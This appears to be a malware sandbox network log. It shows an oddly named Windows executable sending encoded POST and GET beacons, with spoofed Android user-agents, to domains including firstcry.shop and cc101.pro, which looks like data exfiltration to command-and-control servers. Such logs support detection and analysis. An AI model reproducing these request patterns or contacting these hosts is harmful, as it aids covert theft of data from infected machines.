Oct 9, 2024 14:05:50.575087070 CEST	417	OUT	GET /ptae/?ZZY=w3WU5oZhC+LnKx26kaNk+YWYu6qqBKD6PC4MUwZYu/Z6/i99bgGsvL6SKkltDKfqu2CGNTh4TErFYwL/tEu+bdChCdZ/afdxeSWGORoCU6iTOQ97Sy+G7WrM0B37ODseprTGeRopW7u8&mHm0o=rrqhoH HTTP/1.1 Host: www.bluegirls.blog Accept: / Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Oct 9, 2024 14:05:51.247927904 CEST	367	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:05:51 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 70 74 61 65 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /ptae/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49946	13.248.169.48	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:06:06.326176882 CEST	677	OUT	POST /e4x0/ HTTP/1.1 Host: www.firstcry.shop Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.firstcry.shop Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.firstcry.shop/e4x0/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 47 50 37 57 6f 45 4c 34 4c 49 44 58 4e 56 78 37 38 53 49 73 4e 37 4c 37 57 33 75 6c 54 58 48 2b 35 64 35 2f 73 7a 6e 65 62 5a 6a 47 49 4d 46 6e 49 35 6b 61 45 39 38 74 62 53 5a 4d 6f 6a 4c 33 6a 67 53 66 70 66 45 49 64 36 32 43 33 69 33 37 57 52 58 51 45 79 59 49 6a 57 4a 38 6e 49 76 78 69 51 46 4d 6a 54 71 43 2b 65 4a 67 53 47 4c 53 69 32 5a 77 4f 51 49 77 36 65 53 6f 37 34 64 61 37 66 70 65 50 73 71 43 47 66 34 58 30 4d 6f 47 51 6d 38 6e 57 32 75 58 56 75 6a 45 45 49 2f 50 75 48 33 77 69 78 64 6d 79 37 6c 56 68 67 76 48 6c 38 68 55 32 33 5a 32 50 34 70 36 41 6a 6d 74 45 67 38 53 72 41 39 4c 38 73 63 70 76 79 47 4c 32 51 3d 3d Data Ascii: ZZY=GP7WoEL4LIDXNVx78SIsN7L7W3ulTXH+5d5/sznebZjGIMFnI5kaE98tbSZMojL3jgSfpfEId62C3i37WRXQEyYIjWJ8nIvxiQFMjTqC+eJgSGLSi2ZwOQIw6eSo74da7fpePsqCGf4X0MoGQm8nW2uXVujEEI/PuH3wixdmy7lVhgvHl8hU23Z2P4p6AjmtEg8SrA9L8scpvyGL2Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49961	13.248.169.48	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:06:08.870631933 CEST	697	OUT	POST /e4x0/ HTTP/1.1 Host: www.firstcry.shop Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.firstcry.shop Content-Length: 236 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.firstcry.shop/e4x0/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 47 50 37 57 6f 45 4c 34 4c 49 44 58 4d 31 42 37 2b 7a 49 73 4b 62 4c 34 61 58 75 6c 4b 6e 48 36 35 64 39 2f 73 79 54 4f 62 76 7a 47 49 75 64 6e 4c 37 4d 61 44 39 38 74 55 79 5a 4e 73 6a 4c 38 6a 67 4f 68 70 64 51 49 64 36 79 43 33 67 76 37 58 6d 44 66 46 69 59 4b 70 47 4a 2b 36 59 76 78 69 51 46 4d 6a 51 57 38 2b 61 74 67 52 33 37 53 74 33 5a 7a 45 77 49 78 39 65 53 6f 2f 34 64 65 37 66 6f 4c 50 74 32 6b 47 5a 30 58 30 4f 41 47 51 58 38 67 46 57 75 64 52 75 69 4b 48 4c 66 48 73 30 44 64 6d 6a 64 36 79 62 4e 76 70 32 79 6c 2f 65 74 34 6f 6d 68 4e 4c 36 4e 4d 58 46 37 59 47 68 34 4b 6d 69 4a 71 6a 62 35 44 69 67 6e 50 67 6d 38 69 33 44 45 46 70 74 55 44 63 63 59 56 65 65 33 32 31 5a 38 3d Data Ascii: ZZY=GP7WoEL4LIDXM1B7+zIsKbL4aXulKnH65d9/syTObvzGIudnL7MaD98tUyZNsjL8jgOhpdQId6yC3gv7XmDfFiYKpGJ+6YvxiQFMjQW8+atgR37St3ZzEwIx9eSo/4de7foLPt2kGZ0X0OAGQX8gFWudRuiKHLfHs0Ddmjd6ybNvp2yl/et4omhNL6NMXF7YGh4KmiJqjb5DignPgm8i3DEFptUDccYVee321Z8=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49971	13.248.169.48	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:06:11.670664072 CEST	1710	OUT	POST /e4x0/ HTTP/1.1 Host: www.firstcry.shop Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.firstcry.shop Content-Length: 1248 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.firstcry.shop/e4x0/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 47 50 37 57 6f 45 4c 34 4c 49 44 58 4d 31 42 37 2b 7a 49 73 4b 62 4c 34 61 58 75 6c 4b 6e 48 36 35 64 39 2f 73 79 54 4f 62 76 37 47 4c 64 56 6e 49 64 45 61 43 39 38 74 64 53 5a 32 73 6a 4c 6c 6a 67 47 74 70 64 73 48 64 34 36 43 78 46 37 37 51 58 44 66 50 69 59 4b 68 6d 4a 2f 6e 49 75 72 69 51 55 46 6a 51 47 38 2b 61 74 67 52 31 7a 53 70 6d 5a 7a 43 77 49 77 36 65 53 30 37 34 64 36 37 66 52 77 50 74 7a 66 48 70 55 58 31 75 51 47 44 30 55 67 66 57 75 54 63 4f 6a 58 48 4c 53 5a 73 30 66 5a 6d 69 70 41 79 59 74 76 36 42 54 36 37 65 31 68 30 56 78 6f 41 34 42 4d 51 58 76 4f 4c 7a 6f 4b 2b 7a 70 47 6d 5a 42 41 6e 78 66 67 70 57 6f 2f 6a 54 45 6d 6d 74 5a 57 66 72 78 6b 62 66 66 4a 6f 39 35 71 31 75 30 31 6b 74 51 52 49 36 76 42 6b 36 57 6c 49 78 36 41 57 41 75 38 2f 44 42 61 31 33 6a 6a 73 59 72 62 66 38 58 48 46 67 64 50 49 51 56 76 44 4b 48 50 6f 6a 6b 6f 73 4d 43 4d 39 61 56 68 49 6d 6a 79 6b 2f 6f 71 2f 71 71 73 6d 4b 74 2b 70 50 75 6f 44 35 49 78 79 48 52 57 61 4d 66 45 4f 34 66 58 41 45 [TRUNCATED] Data Ascii: ZZY=GP7WoEL4LIDXM1B7+zIsKbL4aXulKnH65d9/syTObv7GLdVnIdEaC98tdSZ2sjLljgGtpdsHd46CxF77QXDfPiYKhmJ/nIuriQUFjQG8+atgR1zSpmZzCwIw6eS074d67fRwPtzfHpUX1uQGD0UgfWuTcOjXHLSZs0fZmipAyYtv6BT67e1h0VxoA4BMQXvOLzoK+zpGmZBAnxfgpWo/jTEmmtZWfrxkbffJo95q1u01ktQRI6vBk6WlIx6AWAu8/DBa13jjsYrbf8XHFgdPIQVvDKHPojkosMCM9aVhImjyk/oq/qqsmKt+pPuoD5IxyHRWaMfEO4fXAEMxEB3Zr+SrDrWOavQHgPQ3JGTWGmHG9e/ZBNJMyKQrlYzbvyy82l367tHNtWc6OExnEhbjCrl0nWqH0WDxzuQJhj3hjVaWD9dDuy6w3EtMQgbHLbuusRByY5/GbWxdi/JtICh6tnhSGGI63gJNKDW12O2XWU4tIksSwVAYhrKUsHULzTQfOMzvfs9XGI+tNAwJAYRYB7X7pj/tk+FFAYECE20Eh3/s5BKG7AgYfvSjIytuPpuVg0uWoJaGBFpzMtt08VeqV85bcZI5yY88GlWhjqmSDFIMJCIlaOZ9HcsUyDHLMNXE69Q3y+NPdPtVTcKX/9K3ak7WHqO9dhjbAqHgxi7Pc5DRulFrfXmF0cmnEZw6z/ak2keBjYIy3JVymwhhg0yN3sPG34Qwdv6VzUU3e+QfUvAr+TcT67/VW/sRv+8u1mt5cwPivst5f3QJVA543pttbW6LRSh1/pdK7V6k/tKTGVyQOU9rJGxyh0IxHprzs9tS/Az+wJTtFT6nIpKdBgtpHeiE3pAhslA4pRRRp1BuWdipQnyGojWNhZGXOQXROzkCfC3ENSY8ksAghh8cEg/NitquB+H1gGkpoPTrhTI1XSLpV4Z38E6bra8ZVViuUKmh+bzWiCVrDJTdXpYrRs8fdIGvRc5WUCHxv4Hzl3LJBGKJXwxw [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49976	13.248.169.48	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:06:14.321759939 CEST	416	OUT	GET /e4x0/?ZZY=LNT2rxv1IZbcC3Jj0QJlS4XPU2WjJkC92LI5ghjdfeHuVtRNJYUfNJ81Qyljm2TCpzqhutEcPP6D5gqXcB7APUAChnFD6LC10hZW5DnCrv8nATu9qGN6LFx4zvr8w5xDip8OL+K5FPsX&mHm0o=rrqhoH HTTP/1.1 Host: www.firstcry.shop Accept: / Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Oct 9, 2024 14:06:14.708092928 CEST	412	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 09 Oct 2024 12:06:14 GMT Content-Type: text/html Content-Length: 272 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 5a 5a 59 3d 4c 4e 54 32 72 78 76 31 49 5a 62 63 43 33 4a 6a 30 51 4a 6c 53 34 58 50 55 32 57 6a 4a 6b 43 39 32 4c 49 35 67 68 6a 64 66 65 48 75 56 74 52 4e 4a 59 55 66 4e 4a 38 31 51 79 6c 6a 6d 32 54 43 70 7a 71 68 75 74 45 63 50 50 36 44 35 67 71 58 63 42 37 41 50 55 41 43 68 6e 46 44 36 4c 43 31 30 68 5a 57 35 44 6e 43 72 76 38 6e 41 54 75 39 71 47 4e 36 4c 46 78 34 7a 76 72 38 77 35 78 44 69 70 38 4f 4c 2b 4b 35 46 50 73 58 26 6d 48 6d 30 6f 3d 72 72 71 68 6f 48 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?ZZY=LNT2rxv1IZbcC3Jj0QJlS4XPU2WjJkC92LI5ghjdfeHuVtRNJYUfNJ81Qyljm2TCpzqhutEcPP6D5gqXcB7APUAChnFD6LC10hZW5DnCrv8nATu9qGN6LFx4zvr8w5xDip8OL+K5FPsX&mHm0o=rrqhoH"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49977	188.114.96.3	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:06:19.814477921 CEST	665	OUT	POST /0r21/ HTTP/1.1 Host: www.cc101.pro Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.cc101.pro Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.cc101.pro/0r21/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 53 72 34 32 58 52 5a 74 6c 7a 42 54 33 62 75 6c 6e 77 68 4f 44 35 34 37 37 36 77 37 61 73 6b 78 46 61 50 71 6e 47 46 5a 78 49 44 2b 78 43 76 59 65 2f 53 59 47 63 47 4d 53 42 6e 47 6e 51 79 58 33 62 6d 74 62 65 5a 71 67 4f 42 4a 2b 74 4b 47 53 7a 51 70 64 43 50 54 61 64 52 6e 6d 2b 79 75 32 36 33 33 4a 70 2f 2b 56 70 79 4b 30 5a 53 55 47 43 47 50 70 38 39 51 75 32 2f 55 4f 6e 59 64 69 79 6f 65 4b 47 4c 6e 38 41 77 76 74 6b 48 70 54 6f 30 4d 78 33 43 37 4a 4a 48 37 34 53 36 50 62 5a 5a 48 6d 74 42 48 44 66 38 4f 7a 6f 70 63 39 7a 4c 45 4c 6e 59 50 62 41 6a 6c 4a 62 71 6f 6d 6a 61 72 31 47 4a 63 66 39 37 69 37 4b 4b 4e 5a 77 3d 3d Data Ascii: ZZY=Sr42XRZtlzBT3bulnwhOD54776w7askxFaPqnGFZxID+xCvYe/SYGcGMSBnGnQyX3bmtbeZqgOBJ+tKGSzQpdCPTadRnm+yu2633Jp/+VpyK0ZSUGCGPp89Qu2/UOnYdiyoeKGLn8AwvtkHpTo0Mx3C7JJH74S6PbZZHmtBHDf8Ozopc9zLELnYPbAjlJbqomjar1GJcf97i7KKNZw==
Oct 9, 2024 14:06:20.954010963 CEST	690	IN	HTTP/1.1 405 Not Allowed Date: Wed, 09 Oct 2024 12:06:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IOrQ3tnCd59Icrs7zxXIa4Y5izZSw9882pz%2Btxb5JRg1WShwM3wtXkm%2Frml7lLdsU2eB8I18t0hcL0a2BrdoPtuBaItNwATdFJabmGH5EMSV3knYJagrOrZrDrmpnr7a"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cfe3e78886572b6-EWR Data Raw: 39 35 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0a 0a 0a 0a 0a 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 95<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49978	188.114.96.3	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:06:22.359015942 CEST	685	OUT	POST /0r21/ HTTP/1.1 Host: www.cc101.pro Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.cc101.pro Content-Length: 236 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.cc101.pro/0r21/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 53 72 34 32 58 52 5a 74 6c 7a 42 54 31 2f 71 6c 30 44 35 4f 55 70 34 36 33 61 77 37 51 4d 6b 74 46 61 4c 71 6e 47 74 7a 77 36 33 2b 30 54 66 59 5a 37 47 59 4b 38 47 4d 59 68 6d 4d 6a 51 79 63 33 62 72 4e 62 66 6c 71 67 4b 70 4a 2b 74 36 47 53 45 45 6d 50 69 50 64 56 39 52 6c 69 2b 79 75 32 36 33 33 4a 70 71 52 56 70 36 4b 30 70 43 55 4a 44 47 4d 6b 63 39 54 6e 57 2f 55 4b 6e 59 5a 69 79 6f 33 4b 43 43 38 38 43 49 76 74 67 4c 70 51 38 41 50 34 33 43 31 4e 4a 47 57 70 69 33 65 43 61 70 49 6e 4c 52 54 61 66 63 2f 32 65 30 2b 6e 52 48 6f 56 32 67 30 66 43 48 54 65 39 33 64 6b 69 65 7a 34 6b 39 39 41 4b 65 49 32 59 72 4a 50 4c 32 37 44 62 32 75 66 62 51 45 54 7a 4c 45 37 48 6c 62 34 4a 45 3d Data Ascii: ZZY=Sr42XRZtlzBT1/ql0D5OUp463aw7QMktFaLqnGtzw63+0TfYZ7GYK8GMYhmMjQyc3brNbflqgKpJ+t6GSEEmPiPdV9Rli+yu2633JpqRVp6K0pCUJDGMkc9TnW/UKnYZiyo3KCC88CIvtgLpQ8AP43C1NJGWpi3eCapInLRTafc/2e0+nRHoV2g0fCHTe93dkiez4k99AKeI2YrJPL27Db2ufbQETzLE7Hlb4JE=
Oct 9, 2024 14:06:23.353688002 CEST	692	IN	HTTP/1.1 405 Not Allowed Date: Wed, 09 Oct 2024 12:06:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Oqtoy0cmReJldr0%2FglwLVRTex0YAM7Nh4CU%2Bz5EiGWCKU4Q0pjn7MdaHNDgdPbSWT0pt0ZW4sQCdlIkUG1nVaqzMSJXtssh1qGUYYx1y6EO7%2BX19muTZdse9iyT7GH2N"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cfe3e884b1f42eb-EWR Data Raw: 39 35 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0a 0a 0a 0a 0a 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 95<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49979	188.114.96.3	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:06:24.917965889 CEST	1698	OUT	POST /0r21/ HTTP/1.1 Host: www.cc101.pro Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.cc101.pro Content-Length: 1248 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.cc101.pro/0r21/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 53 72 34 32 58 52 5a 74 6c 7a 42 54 31 2f 71 6c 30 44 35 4f 55 70 34 36 33 61 77 37 51 4d 6b 74 46 61 4c 71 6e 47 74 7a 77 36 76 2b 6f 78 58 59 5a 5a 75 59 4c 38 47 4d 55 42 6d 50 6a 51 79 64 33 62 7a 42 62 66 70 36 67 4d 74 4a 2f 4d 61 47 55 78 6f 6d 46 69 50 64 65 64 52 6b 6d 2b 7a 36 32 35 4f 77 4a 70 36 52 56 70 36 4b 30 72 4b 55 41 79 47 4d 33 73 39 51 75 32 2f 69 4f 6e 59 68 69 78 59 47 4b 43 47 73 38 79 6f 76 73 41 62 70 63 76 6f 50 67 6e 43 33 4b 4a 47 4f 70 69 36 47 43 62 45 35 6e 4c 4e 35 61 63 4d 2f 33 4a 4a 6a 31 77 2f 2b 55 6d 34 66 65 68 66 31 51 4d 32 68 36 44 53 32 37 55 38 63 45 4b 6d 33 39 37 6e 7a 50 66 6e 6b 55 59 75 68 52 72 63 72 54 6d 44 42 73 32 39 34 72 2b 6d 41 58 59 69 7a 67 38 48 67 77 52 30 6c 41 30 7a 43 4c 58 62 33 67 47 71 38 37 36 5a 37 30 32 72 48 58 6a 43 47 42 62 78 48 56 46 71 67 48 79 53 35 6c 78 39 69 4b 46 2f 57 4e 34 46 45 49 66 67 6a 48 71 51 74 56 48 7a 2f 5a 6c 77 30 6b 2b 59 35 68 4f 62 70 79 31 5a 75 77 31 77 64 6c 53 70 30 4d 53 34 65 2b 47 [TRUNCATED] Data Ascii: ZZY=Sr42XRZtlzBT1/ql0D5OUp463aw7QMktFaLqnGtzw6v+oxXYZZuYL8GMUBmPjQyd3bzBbfp6gMtJ/MaGUxomFiPdedRkm+z625OwJp6RVp6K0rKUAyGM3s9Qu2/iOnYhixYGKCGs8yovsAbpcvoPgnC3KJGOpi6GCbE5nLN5acM/3JJj1w/+Um4fehf1QM2h6DS27U8cEKm397nzPfnkUYuhRrcrTmDBs294r+mAXYizg8HgwR0lA0zCLXb3gGq876Z702rHXjCGBbxHVFqgHyS5lx9iKF/WN4FEIfgjHqQtVHz/Zlw0k+Y5hObpy1Zuw1wdlSp0MS4e+GzqFD080FgB//zmyM0rchanYc3t+85ZbQIq1juoLPXG6yCa6RKCUMsRomCgFB7+k0sSNoiP7uycn5wT7O1vpQ+s41Z3cwlYnaBSH6GubOh92PUHXR9p9fb3hqi8pTJ4oDAoMrMY6Un3bfWFFALVubFFKkmTynERs2k4fcle6XNNla4SkaN6trY0G9AJRCg9vh5F/9mzH9f8iMVxOMXyhUDvw2c6RGfai6EZAG4M+o9wyE01nS/pOXwGtmEVO/7SvalFBI4mKbP1tf03Q3Y4DIlS1U9sy0CLtLFUTyJmKahBaFK8dlV1cWpeV5wgu+sz8vOM59PpJfNvcvffVnIA0EcnJe91N3xdVlCi7jk2qhyiAfkPYew+Ta6Fy7g3CRAxTFddpAncXx3fGMPsXPMRkuTNmitVQjssArJaapYt7vFRGZvO/bdPiXFbgDYqFYYk3Y1FolIiWiq8jG/XiedzLpGwECz5EhcYCdb5iP5c27ui0wlJLXg1ra3thG68wcX5j0EvLxpiDCn6la4NlGSS7p8c+CYkx5bhufSLKhZj/So+icBHTlyr2k8SNehq42pfMbRq+rrdI9DceB9QcMJDFsrwCmn8ii/rmi0h/xdfgtl1OoiDlQXc8pWToB7Ty8jnHxpwDl4ehNfWYd6UIxMSqx8HTLyWfLxf3DRE [TRUNCATED]
Oct 9, 2024 14:06:25.838443995 CEST	692	IN	HTTP/1.1 405 Not Allowed Date: Wed, 09 Oct 2024 12:06:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1sqpAzcvsN2ZnOqDrVNb9lByjwQUKjXt86ho0uZN7zBovmOm95uzHGUZ%2F05lmZpRmnwi3rYwOue8f6R19rpFnZ8yxojHtNUTJZsP1c5BECbwXUYYXon1Dx%2B17Oha%2BNoe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cfe3e983b0d42da-EWR Data Raw: 39 35 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0a 0a 0a 0a 0a 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 95<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49980	188.114.96.3	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:06:27.600434065 CEST	412	OUT	GET /0r21/?mHm0o=rrqhoH&ZZY=fpQWUmUD3QBv9qaBiDNDC55X+pZkXcZKAs7PtWtHybHyzx2AGLiILISraADyo1q+hqHiafFS+6J0wcG7bEgZBkPYVPFAzuLp86jiTbWXEL7WrvfJBC+mpaVtq3e+NG0F9h9/HweK9zd4 HTTP/1.1 Host: www.cc101.pro Accept: / Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
